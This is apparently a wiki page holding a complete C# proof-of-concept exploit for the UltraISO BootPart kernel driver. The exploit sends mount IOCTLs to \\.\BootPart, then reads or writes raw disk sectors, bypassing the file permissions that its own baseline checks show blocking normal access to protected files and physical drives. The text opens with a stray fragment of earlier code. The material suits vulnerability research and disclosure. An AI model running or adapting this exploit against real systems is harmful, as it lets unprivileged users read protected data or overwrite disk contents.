    throw
}
```

ultraiso_bootpart_flag_rw_exploit.cs

```
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.Win32.SafeHandles;

internal static class UltraIsoBootPartFlagRwExploit
{
    private const uint IOCTL_BOOTPART_MOUNT = 0x0007F300;
    private const uint IOCTL_BOOTPART_UNMOUNT = 0x0007F304;
    private const uint GENERIC_READ = 0x80000000;
    private const uint GENERIC_WRITE = 0x40000000;
    private const uint FILE_SHARE_READ = 0x00000001;
    private const uint FILE_SHARE_WRITE = 0x00000002;
    private const uint OPEN_EXISTING = 3;
    private const uint FILE_BEGIN = 0;
    private const int TOKEN_QUERY = 0x0008;
    private const int TokenIntegrityLevel = 25;

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern SafeFileHandle CreateFileW(
        string lpFileName,
        uint dwDesiredAccess,
```

```
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool DeviceIoControl(
        SafeFileHandle hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        int nInBufferSize,
        IntPtr lpOutBuffer,
        int nOutBufferSize,
        out int lpBytesReturned,
        IntPtr lpOverlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool SetFilePointerEx(SafeFileHandle hFile, long liDistanceToMove, IntPtr
lpNewFilePointer, uint dwMoveMethod);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool ReadFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToRead, out int
lpNumberOfBytesRead, IntPtr lpOverlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToWrite, out int
lpNumberOfBytesWritten, IntPtr lpOverlapped);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetCurrentProcess();

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool CloseHandle(IntPtr hObject);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern bool OpenProcessToken(IntPtr processHandle, int desiredAccess, out IntPtr tokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern bool GetTokenInformation(IntPtr tokenHandle, int tokenInformationClass, IntPtr
```

```
tokenInformation, int tokenInformationLength, out int returnLength);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);

    private static int Main(string[] args)
    {
        try
        {
            Options opt = Options.Parse(args);
            if (opt == null)
            {
                Usage();
                return 2;
            }

            PrintIdentity();
            if (!string.IsNullOrEmpty(opt.FlagPath))
            {
                BaselineProtectedFile(opt.FlagPath);
            }
            BaselineRawDisk(opt.Disk);

            using (SafeFileHandle bootPart = OpenBootPart())
            {
                if (bootPart.IsInvalid)
                {
                    Console.Error.WriteLine("[DRIVER] open=FAILED path=\\\\.\\BootPart error={0}",
Marshal.GetLastWin32Error());
                    return 1;
                }
                Console.WriteLine("[DRIVER] open=SUCCESS path=\\\\.\\BootPart");

                ulong ioOffset = opt.OffsetBytes;
                uint startSector = 0;
                uint sectors = 0xffffffffu;
                if (opt.Mode == "write")
```

```
            {
                startSector = checked((uint)(opt.OffsetBytes / 512UL));
                ioOffset = opt.OffsetBytes % 512UL;
                sectors = CheckedSectorWindow(ioOffset, opt.LengthBytes);
            }

            if (!Mount(bootPart, opt.Disk, opt.Mode == "read", opt.DriveLetter, startSector, sectors))
            {
                return 1;
            }

            int rc;
            if (opt.Mode == "read")
            {
                byte[] data = RawRead(bootPart, opt.OffsetBytes, checked((int)opt.LengthBytes));
                File.WriteAllBytes(opt.OutPath, data);
                string prefix = AsciiPrefix(data, 256);
                bool found = !string.IsNullOrEmpty(opt.ExpectMarker) && prefix.Contains(opt.ExpectMarker);
                Console.WriteLine("[EXPLOIT_READ] success=True disk={0} offset={1} bytes={2} out={3}",
opt.Disk, opt.OffsetBytes, data.Length, opt.OutPath);
                Console.WriteLine("[EXPLOIT_READ] prefix={0}", prefix);
                if (!string.IsNullOrEmpty(opt.ExpectMarker))
                {
                    Console.WriteLine("[RESULT] read_marker_found={0}", found);
                    rc = found ? 0 : 3;
                }
                else
                {
                    rc = 0;
                }
            }
            else
            {
                byte[] payload = MakePayload(opt.WriteMarker, checked((int)opt.LengthBytes));
                string writePath = RawWriteWithFallback(bootPart, opt.DriveLetter, ioOffset, payload);
                Console.WriteLine("[EXPLOIT_WRITE] success=True disk={0} absolute_offset={1} io_offset={2}
bytes={3} path={4}", opt.Disk, opt.OffsetBytes, ioOffset, payload.Length, writePath);
                Console.WriteLine("[EXPLOIT_WRITE] marker={0}", opt.WriteMarker);
                Console.WriteLine("[RESULT] write_succeeded=True");
                rc = 0;
```

```
            }

            Unmount(bootPart);
            return rc;
        }
    }
    catch (Exception ex)
    {
        Console.Error.WriteLine("[ERROR] {0}: {1}", ex.GetType().Name, ex.Message);
        return 1;
    }
}

private static SafeFileHandle OpenBootPart()
{
    return CreateFileW("\\\\.\\BootPart", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
}

private static bool Mount(SafeFileHandle h, uint disk, bool readOnly, char driveLetter, uint startSector, uint
sectorCount)
{
    IntPtr req = Marshal.AllocHGlobal(12);
    try
    {
        Marshal.WriteByte(req, 0, 0);
        Marshal.WriteByte(req, 1, checked((byte)disk));
        Marshal.WriteByte(req, 2, readOnly ? (byte)1 : (byte)0);
        Marshal.WriteByte(req, 3, (byte)Char.ToUpperInvariant(driveLetter));
        Marshal.WriteInt32(req, 4, unchecked((int)startSector));
        Marshal.WriteInt32(req, 8, unchecked((int)sectorCount));
        int returned;
        bool ok = DeviceIoControl(h, IOCTL_BOOTPART_MOUNT, req, 12, req, 12, out returned, IntPtr.Zero);
        if (!ok)
        {
            Console.Error.WriteLine("[DRIVER] mount=FAILED disk={0} read_only={1} error={2}", disk,
readOnly, Marshal.GetLastWin32Error());
            return false;
        }
        Console.WriteLine("[DRIVER] mount=SUCCESS disk={0} read_only={1} drive={2}: start_sector={3}
```

```
sectors={4}", disk, readOnly, Char.ToUpperInvariant(driveLetter), startSector, sectorCount);
            return true;
        }
        finally
        {
            Marshal.FreeHGlobal(req);
        }
    }

    private static void Unmount(SafeFileHandle h)
    {
        int returned;
        bool ok = DeviceIoControl(h, IOCTL_BOOTPART_UNMOUNT, IntPtr.Zero, 0, IntPtr.Zero, 0, out returned,
IntPtr.Zero);
        Console.WriteLine("[DRIVER] unmount_ok={0} error={1}", ok, Marshal.GetLastWin32Error());
    }

    private static byte[] RawRead(SafeFileHandle h, ulong offset, int length)
    {
        if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
        {
            throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
        }
        IntPtr buf = Marshal.AllocHGlobal(length);
        try
        {
            ZeroMemory(buf, length);
            int got;
            if (!ReadFile(h, buf, length, out got, IntPtr.Zero))
            {
                throw new InvalidOperationException("ReadFile through BootPart failed: " +
Marshal.GetLastWin32Error());
            }
            byte[] data = new byte[got];
            Marshal.Copy(buf, data, 0, got);
            return data;
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
```

```
        }
    }

    private static void RawWrite(SafeFileHandle h, ulong offset, byte[] payload)
    {
        if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
        {
            throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
        }
        IntPtr buf = Marshal.AllocHGlobal(payload.Length);
        try
        {
            Marshal.Copy(payload, 0, buf, payload.Length);
            int wrote;
            if (!WriteFile(h, buf, payload.Length, out wrote, IntPtr.Zero) || wrote != payload.Length)
            {
                throw new InvalidOperationException("WriteFile through BootPart failed or short write: " +
Marshal.GetLastWin32Error());
            }
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
        }
    }

    private static string RawWriteWithFallback(SafeFileHandle bootPart, char driveLetter, ulong offset, byte[]
payload)
    {
        try
        {
            RawWrite(bootPart, offset, payload);
            Console.WriteLine("[WRITE_ATTEMPT] path=\\\\.\\BootPart result=SUCCESS");
            return "\\\\.\\BootPart";
        }
        catch (InvalidOperationException ex)
        {
            Console.WriteLine("[WRITE_ATTEMPT] path=\\\\.\\BootPart result=FAILED detail={0}", ex.Message);
            string drivePath = "\\\\.\\" + Char.ToUpperInvariant(driveLetter) + ":";
            using (SafeFileHandle drive = CreateFileW(drivePath, GENERIC_READ | GENERIC_WRITE,
```

```
FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
        {
            if (drive.IsInvalid)
            {
                throw new InvalidOperationException("WriteFile through BootPart failed and opening " + drivePath
+ " also failed: " + Marshal.GetLastWin32Error());
            }
            RawWrite(drive, offset, payload);
            Console.WriteLine("[WRITE_ATTEMPT] path={0} result=SUCCESS", drivePath);
            return drivePath;
        }
    }
  }

  private static void BaselineProtectedFile(string path)
  {
    try
    {
      File.ReadAllBytes(path);
      Console.WriteLine("[BASELINE] protected_read=UNEXPECTED_SUCCESS path={0}", path);
    }
    catch (Exception ex)
    {
      Console.WriteLine("[BASELINE] protected_read=DENIED path={0} error={1}", path, ex.Message);
    }

    try
    {
      File.WriteAllText(path, "SHOULD-NOT-WRITE");
      Console.WriteLine("[BASELINE] protected_write=UNEXPECTED_SUCCESS path={0}", path);
    }
    catch (Exception ex)
    {
      Console.WriteLine("[BASELINE] protected_write=DENIED path={0} error={1}", path, ex.Message);
    }
  }

  private static void BaselineRawDisk(uint disk)
  {
    string path = "\\\\.\\PhysicalDrive" + disk;
```

```
        using (SafeFileHandle h = CreateFileW(path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
        {
            if (h.IsInvalid)
            {
                Console.WriteLine("[BASELINE] raw_disk_open=DENIED path={0} error={1}", path,
Marshal.GetLastWin32Error());
            }
            else
            {
                Console.WriteLine("[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path={0}", path);
            }
        }
    }

    private static void PrintIdentity()
    {
        WindowsIdentity id = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(id);
        Console.WriteLine("[IDENTITY] user={0}", id.Name);
        Console.WriteLine("[IDENTITY] is_administrator={0}",
principal.IsInRole(WindowsBuiltInRole.Administrator));
        Console.WriteLine("[IDENTITY] integrity={0}", GetIntegrityLevel());
    }

    private static string GetIntegrityLevel()
    {
        IntPtr token;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out token)) return "unknown";
        try
        {
            int needed;
            GetTokenInformation(token, TokenIntegrityLevel, IntPtr.Zero, 0, out needed);
            IntPtr buf = Marshal.AllocHGlobal(needed);
            try
            {
                if (!GetTokenInformation(token, TokenIntegrityLevel, buf, needed, out needed)) return "unknown";
                IntPtr sid = Marshal.ReadIntPtr(buf);
                int count = Marshal.ReadByte(GetSidSubAuthorityCount(sid));
                int rid = Marshal.ReadInt32(GetSidSubAuthority(sid, (uint)(count - 1)));
```

```
            if (rid >= 0x4000) return "System";
            if (rid >= 0x3000) return "High";
            if (rid >= 0x2000) return "Medium";
            if (rid >= 0x1000) return "Low";
            return "Untrusted";
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
        }
    }
    finally
    {
        CloseHandle(token);
    }
}

private static uint CheckedSectorWindow(ulong offset, ulong length)
{
    ulong sectors = (offset + length + 511UL) / 512UL;
    if (sectors == 0 || sectors > 0xffffffffUL) throw new ArgumentOutOfRangeException("length");
    return (uint)sectors;
}

private static byte[] MakePayload(string marker, int length)
{
    if (string.IsNullOrEmpty(marker)) throw new ArgumentException("--write-marker is required.");
    byte[] payload = new byte[length];
    byte[] markerBytes = Encoding.ASCII.GetBytes(marker);
    Array.Copy(markerBytes, payload, Math.Min(markerBytes.Length, payload.Length));
    for (int i = markerBytes.Length; i < payload.Length; i++) payload[i] = 0x42;
    return payload;
}

private static string AsciiPrefix(byte[] data, int max)
{
    int len = Math.Min(data.Length, max);
    return Encoding.ASCII.GetString(data, 0, len).Replace("\0", "\\0").Replace("\r", "\\r").Replace("\n", "\\n");
}
```

```
    private static void ZeroMemory(IntPtr ptr, int length)
    {
        byte[] zeros = new byte[Math.Min(4096, length)];
        int offset = 0;
        while (offset < length)
        {
            int chunk = Math.Min(zeros.Length, length - offset);
            Marshal.Copy(zeros, 0, IntPtr.Add(ptr, offset), chunk);
            offset += chunk;
        }
    }

    private static void Usage()
    {
        Console.Error.WriteLine("Usage:");
        Console.Error.WriteLine("  ultraiso_bootpart_flag_rw_exploit.exe --mode read --disk N --offset BYTES --length BYTES --flag-path PATH --expect-marker MARKER --out OUT.bin");
        Console.Error.WriteLine("  ultraiso_bootpart_flag_rw_exploit.exe --mode write --disk N --offset BYTES --length BYTES --write-marker MARKER");
        Console.Error.WriteLine("Optional: --drive-letter Q");
    }

    private sealed class Options
    {
        public string Mode = "read";
        public uint Disk;
        public ulong OffsetBytes;
        public ulong LengthBytes;
        public string FlagPath;
        public string ExpectMarker;
        public string WriteMarker;
        public string OutPath;
        public char DriveLetter = 'Q';

        public static Options Parse(string[] args)
        {
            Options opt = new Options();
            for (int i = 0; i < args.Length; i++)
            {
                string a = args[i].ToLowerInvariant();
```

```
            if (a == "--mode" && i + 1 < args.Length) opt.Mode = args[++i].ToLowerInvariant();
            else if (a == "--disk" && i + 1 < args.Length) opt.Disk = UInt32.Parse(args[++i]);
            else if (a == "--offset" && i + 1 < args.Length) opt.OffsetBytes = UInt64.Parse(args[++i]);
            else if (a == "--length" && i + 1 < args.Length) opt.LengthBytes = UInt64.Parse(args[++i]);
            else if (a == "--flag-path" && i + 1 < args.Length) opt.FlagPath = args[++i];
            else if (a == "--expect-marker" && i + 1 < args.Length) opt.ExpectMarker = args[++i];
            else if (a == "--write-marker" && i + 1 < args.Length) opt.WriteMarker = args[++i];
            else if (a == "--out" && i + 1 < args.Length) opt.OutPath = args[++i];
            else if (a == "--drive-letter" && i + 1 < args.Length) opt.DriveLetter = args[++i][0];
            else return null;
        }
        if (opt.Mode != "read" && opt.Mode != "write") return null;
        if (opt.LengthBytes == 0) return null;
        if (opt.Mode == "read" && string.IsNullOrEmpty(opt.OutPath)) return null;
        if (opt.Mode == "write" && string.IsNullOrEmpty(opt.WriteMarker)) return null;
        return opt;
    }
  }
}
```

Revision #2
Created 20 May 2026 17:03:55 by winslow
Updated 20 June 2026 21:24:33 by winslow